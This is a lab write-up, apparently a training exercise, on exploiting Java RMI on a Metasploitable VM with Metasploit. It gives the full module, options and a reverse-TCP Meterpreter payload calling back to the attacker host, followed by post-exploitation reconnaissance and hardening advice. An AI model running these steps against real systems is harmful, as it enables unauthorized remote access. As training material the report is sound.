**Java RMI Vulnerability Exploitation Report on Metasploitable**

**Objective**

Exploit the Java RMI vulnerability on a Metasploitable machine to establish a Meterpreter session and gather network configuration and routing table information.

**Environment Setup**

1. **Machine Configuration**
   * **Attacker Machine:** Kali Linux with IP 192.168.11.111
   * **Victim Machine:** Metasploitable with IP 192.168.11.112

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

1. **Starting Metasploit**
   * Opened terminal in Kali Linux
   * Launched Metasploit console with command:

“msfconsole”

Immagine che contiene testo, schermata

Descrizione generata automaticamente

**Exploit Configuration and Execution**

**1. Module Selection**

* Used command:

use exploit/multi/misc/java\_rmi\_server

**2. Configurazione del Modulo**

* Set target and exploit options:

set RHOST 192.168.11.112

set RPORT 1099

set PAYLOAD java/meterpreter/reverse\_tcp

set LHOST 192.168.11.111

set LPORT 4444

Immagine che contiene testo, schermata, menu

Descrizione generata automaticamente

**Configuration Explanation:**

**RHOST:**Target server IP (192.168.11.112)

**RPORT:** Target port (1099 for Java RMI)

**PAYLOAD:** Java Meterpreter reverse TCP

**LHOST:** Attacker IP for reverse connection

**LPORT:**Attacker listening port (4444)

These settings prepare the exploit to target the Java server at 192.168.11.112:1099, with a Java-based Meterpreter payload that connects back to our machine (192.168.11.111:4444).

* Verified settings with:

show options

**3. Exploit Execution**

* Launched exploit with:

exploit

* Successfully established Meterpreter session on victim machine

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

**Information Gathering**

**1. Network Configuration**

- In Meterpreter session, ran:

ifconfig

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

* Obtained details about Metasploitable's network interfaces

**2. Routing Table**

In same session, executed:

route

Immagine che contiene testo, schermata

Descrizione generata automaticamente

* Viewed routing table showing packet routing paths

**Conclusion and Recommendations**

After gaining access to the Metasploitable machine and collecting network/routing information:

* Analyzed data to understand potential vulnerabilities and network topology
* This information can be used for further security analysis
* Recommended implementing preventive measures against similar attacks:
  + Update Java RMI services
  + Implement network segmentation
  + Monitor RMI service ports
  + Apply security patches regularly

The exercise successfully demonstrated exploitation of Java RMI vulnerability and post-exploitation information gathering techniques.